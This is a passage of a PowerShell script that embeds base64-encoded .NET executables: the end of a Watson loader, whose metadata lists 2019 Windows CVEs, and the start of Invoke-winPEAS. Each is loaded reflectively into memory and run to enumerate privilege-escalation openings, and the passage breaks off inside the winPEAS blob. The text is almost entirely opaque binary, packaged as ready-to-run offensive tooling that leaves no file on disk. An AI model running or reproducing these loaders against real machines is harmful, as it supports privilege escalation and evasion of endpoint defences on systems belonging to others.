ADUAAA80ADUAMAAzADIANwA5AAAPNAA1ADAAMwAyADgAOQAADzQANQAwADkANAA3ADYAAA80ADUAMAA3ADQANQAwAAAPNAA1ADAANwA0ADYANwAADzQANQAxADIANAA3ADQAAA80ADUAMQAyADUAMAA3AAAPNAA0ADkAMwA0ADQAMQAADzQANAA5ADMANAA0ADAAAA80ADQAOQA5ADEANAA3AAAPNAA0ADkAOQAxADcAOQAADzQANQAwADUAMAA2ADIAAA80ADUAMAAzADIAOAAxAAAPNAA1ADAAMwAyADgANAAADzQANQAwADkANAA3ADcAAA80ADUAMAA3ADQANQA1AAAPNAA1ADAANwA0ADYANQAADzQANQAxADIANAA5ADQAAA80ADUAMQAyADUAMQA2AAANNAA1ADIANQAyADQAAA80ADQAOQAzADQANgA0AAAPNAA0ADkAMwA0ADMANwAADzQANAA5ADkAMQA2ADcAAA80ADQAOQA5ADEAOAAzAAAPNAA1ADAANQAwADYANAAADzQANQAwADMAMgA4ADYAAA80ADUAMAAzADIAOAA4AAAPNAA1ADAAOQA0ADcAOAAADzQANQAwADcANAAzADUAAA80ADUAMAA3ADQANgA2AAAPNAA1ADEAMgA1ADAAMQAADzQANQAxADIANQAwADkAABFCADQANQAzADAANwAxADcAAA80ADQAOQAzADUAMAA5AAAPNAA0ADkANQA2ADYANwAADzQANAA5ADQANAA0ADEAAA80ADQAOQA3ADkAMwA0AAAPNAA1ADAAMQA4ADMANQAADzQANQAwADUAMAA1ADYAAA80ADUAMAAxADMANwAxAAAPNAA1ADAAMwAzADIANwAADzQANQAwADkANAA3ADkAAA80ADUAMAA1ADYANQA4AAAPNAA1ADAANwA0ADYAOQAADzQANQAxADEANQA1ADMAAA80ADUAMQAyADUAMwA0AAAPNAA1ADAANwA0ADUAMwAADzQANQAwADUAOQAwADMAAA80ADUAMQAyADUAMAA4AAAPNAA1ADEAMgA5ADQAMQAADzQANQAwADMAMgA5ADMAAA80ADUAMAAxADMANwA1AADgsFBWuVKWQbl5+27mZJ2bAAQgAQEIAyAAAQUgAQEREQQgAQEOBCABAQIEAAEBDgQHARJEBxUSUQISFAIFIAIB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"
4 $RAS = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($base64binary))
5
6 $OldConsoleOut = [Console]::Out
7 $StringWriter = New-Object IO.StringWriter
8 [Console]::SetOut($StringWriter)
9
10 [Watson.Program]::Main("")
11
12 [Console]::SetOut($OldConsoleOut)
13 $Results = $StringWriter.ToString()
14 $Results
15 }
0 function Invoke-winPEAS
1 {
2
3 [CmdletBinding()]
4 Param (
5 [String]
6 $Command = "cmd"
7 )
8 $base64binary="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AAAKEwgrGhIIKE4AAAoTCREGEQlvTwAAChUuBRcTB94ZEggoUAAACi3d3g4SCP4WEgAAG28VAAAK3BEHLRAGEQYRBhYobQAABm87AAAKEQQXWBMEEQQJjmk/If///3LfAABwcusBAHAoZwAABgwIOekAAAAIDRYTBDjVAAAACREEmhMKct8AAHByawIAcBEKKEQAAApywQEAcChkAAAGEwsRCyhFAAAKOqAAAAARC3LhAQBwcuUBAHBvRgAAChMLEQty5wEAcG9HAAAKLBMRCxYRC29IAAAKF1lvSQAAChMLBhELb0oAAAotYhELKEsAAAosWRYTDAZvTAAACm9NAAAKEwgrGhIIKE4AAAoTDRELEQ1vTwAAChUuBRcTDN4ZEggoUAAACi3d3g4SCP4WEgAAG28VAAAK3BEMLRAGEQsRCxYobQAABm87AAAKEQQXWBMEEQQJjmk/If///wYqAAEcAAACACUBJ0wBDgAAAAACACQCJ0sCDgAAAAAbMAcAIAEAAAgAABFzUQAACgpzMAAACiVy9AIAcChSAAAKbzQAAAolcmQDAHAoUgAACm80AAAKb1MAAAoLOMwAAAASAShUAAAKctwDAHAWKFUAAAoMFg04qQAAAAgJmhMEEQQoVgAAChMFBnM4AAAKJXLgAwBwcuUBAHBvOgAACiVy6AMAcBEFbzoAAAolcvYDAHARBG86AAAKJXIABABwcuUBAHBvOgAACiVyHAQAcHKVAABwEQV+PQAABChpAAAGKDkAAApvOgAACiVyTAQAcHKVAABwEQR+PQAABChoAAAGKDkAAApvOgAACiVyeAQAcHLlAQBwbzoAAApvVwAACgkXWA0JCI5pP07///8SAShYAAAKOij////eDhIB/hYUAAAbbxUAAArcBioBEAAAAgAxAN8QAQ4AAAAAEzADABQAAAAJAAARAijnAAAGKA8AAAYKJQZvWQAACiobMAIAOQAAAAoAABESAHNRAAAKfVYAAAQoWgAACm9bAAAKEgAoEwAABt4TC3KFAABwByg1AAAKKCAAAAbeAAZ7VgAABCoAAAABEAAAAAAMABMfABMXAAABHgIoIAAACiobMAIAXQAAAAsAABECb1wAAApvXQAACgorDAZvXgAACgMoFAAABgZvFgAACi3s3goGLAYGbxUAAArcAm9fAAAKb2AAAAoLKwwHb2EA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EgAABAMHb4AAAAp+EgAABChyAAAKb0YAAAoQAAZvFgAACi263hEGdScAAAEMCCwGCG8VAAAK3AIqAAAAARAAAAIALABKdgARAAAAABswBAD4AAAAEAAAEQJveAAACgo4zwAAABIAKHkAAAoLBCwWEgEoegAACm92AAAKKEUAAAo6rgAAABIBKHoAAAoMEgEoewAACg1y5QEAcBMEBS03HI1lAAABJRZ+FQAABKIlF3JHIQBwoiUYCaIlGXJRIQBwoiUafhIAAASiJRsIoih0AAAKEwQrE3JHIQBwCXJRIQBwCChyAAAKEwQDb3gAAAoTBSsgEgUoeQAAChMGEQQSBih6AAAKEgYoewAACigjAAAGEwQSBSh8AAAKLdfeDhIF/hYYAAAbbxUAAArcEQQocAAAChIAKHwAAAo6Jf///94OEgD+FhgAABtvFQAACtwqARwAAAIAmQAtxgAOAAAAAAIABwDi6QAOAAAAABswBACOAAAAEQAAEQJvgQAAChYxfwJveAAACgorXRIAKHkAAAoLAywOEgEoegAACihFAAAKLUQcjWUAAAElFn4VAAAEoiUXckchAHCiJRgSASh7AAAKoiUZclEhAHCiJRp+EgAABKIlGxIBKHoAAAqiKHQAAAoocAAAChIAKHwAAAotmt4TEgD+FhgAABtvFQAACtwoHQAABioAAAEQAAACABAAanoADgAAAAAbMAIAQwAAABIAABECb4IAAAoWMTQCb4MAAAoKKxISACiEAAAKAyglAAAGKCEAAAYSACiFAAAKLeXeExIA/hYaAAAbbxUAAArcKB0AAAYqAAEQAAACABAAHy8ADgAAAAAbMAQAXwAAABMAABECLFZzOAAACgoCb4YAAAoLKyYSASiHAAAKDAYSAiiIAAAKcq4EAHASAiiJAAAKKEQAAApvigAAChIBKIsAAAot0d4OEgH+FhwAABtvFQAACtwGAyglAAAGKigdAAAGKgABEAAAAgAQADNDAA4AAAAAGzAEAEUAAAASAAARAm+CAAAKFjE2Am+DAAAKCisUEgAohAAACgMEBSgkAAAGKCEAAAYSACiFAAAKLePeExIA/hYaAAAbbxUAAArcKB0AAAYqAAAAARAAAAIAEAAhMQAOAAAAABswAgBJAAAAFAAAEQJvjAAAChYxOgJvUwAACgorGBIAKFQAAAoLckchAHAHKD8AAAoocAAAChIAKFgAAAot394TEgD+FhQAABtvFQAACtwoHQAABioAAAABEAAAAgAQACU1AA4AAAAAGzACAEoAAAAUAAARAm+MAAAKFjE7Am9TAAAKCisZEgAoVAAACgtyRyEAcAcoPwAACgMoIgAABhIAKFgAAAot3t4TEgD+FhQAABtvFQAACtwoHQAABioAAAEQAAACABAAJjYADgAAAAATMAEAyQAAAAAAAABy5QEAcIAFAAAEcuUBAHCABwAABHLlAQBwgAgAAARy5QEAcIAJAAAEcuUBAHCACgAABHLlAQBwgAsAAARy5QEAcIAMAAAEcuUBAHCADQAABHLlAQBwgA4AAARy5QEAcIAPAAAEcuUBAHCAEAAABHLlAQBwgBEAAARy5QEAcIASAAAEcuUBAHCAEwAABHLlAQBwgBQAAARy5QEAcIAVAAAEcuUBAHCAFgAABHLlAQBwgBcAAARy5QEAcIAYAAAEcuUBAHCAGQAABCoeAiggAAAKKgAAABMwAQDTAAAAAAAAAHJXIQBwgAUAAARyZyEAcIAGAAAEcnchAHCABwAABHJ3IQBwgAgAAARyhyEAcIAJAAAEcochAHCACgAABHKXIQBwgAsAAARyoyEAcIAMAAAEcrMhAHCADQAABHK/IQBwgA4AAARyzyEAcIAPAAAEct8hAHCAEAAABHLrIQBwgBEAAARy+yEAcIASAAAEfgcAAASAEwAABH4JAAAEgBQAAAR+BQAABIAVAAAEfgsAAASAFgAABH4QAAAEgBcAAAR+DQAABIAYAAAEfg8AAASAGQAABCoAGzAFAPcAAAAVAAARczAAAAoKcgUiAHAojQAACgsfC41lAAABJRZyEyIAcAcoRAAACqIlF3JDIgBwByhEAAAKoiUYcnMiAHAHKEQAAAqiJRlykyIAcAcoRAAACqIlGnLJIgBwByhEAAAKoiUbcvsiAHAHKEQAAAqiJRxyPyMAcAcoRAAACqIlHXKHIwBwByhEAAAKoiUecssjAHAHKEQAAAqiJR8Jch8kAHAHKEQAAAqiJR8KckckAHAHKEQAAAqiDBYNKxoICZoTBBEEKI4AAAosCAYRBG80AAAKCRdYDQkIjmky4N4aEwVybyQAcBEFb48AAAooRAAACiggAAAG3gAGKgABEAAAAAAGANXbABoXAAABGzADAJsAAAAWAAARczAAAAoKAiiQAAAKCwdymSQAcHLlAQBwb0YAAAoLB3KdJABwcuUBAHBvRgAACgtyoSQAcHN9AAAKB29+AAAKb38AAAoMKxgIbxkAAAp0JgAAAQ0GCW+AAAAKbzQAAAoIbxYAAAot4N4UCHUnAAABEwQRBCwHEQRvFQAACtzeGhMFcm8kAHARBW+PAAAKKEQAAAooIAAABt4ABioAARwAAAIARQAkaQAUAAAAAAAABgB5fwAaFwAAARswBQCSAAAAFQAAEXMwAAAKCnLRJABwKI0AAAoLGo1lAAABJRZy5yQAcAcoRAAACqIlF3IFJQBwByhEAAAKoiUYckUlAHAHKEQAAAqiJRlyaSUAcAcoRAAACqIMFg0rGggJmhMEEQQojgAACiwIBhEEbzQAAAoJF1gNCQiOaTLg3hoTBXJvJABwEQVvjwAACihEAA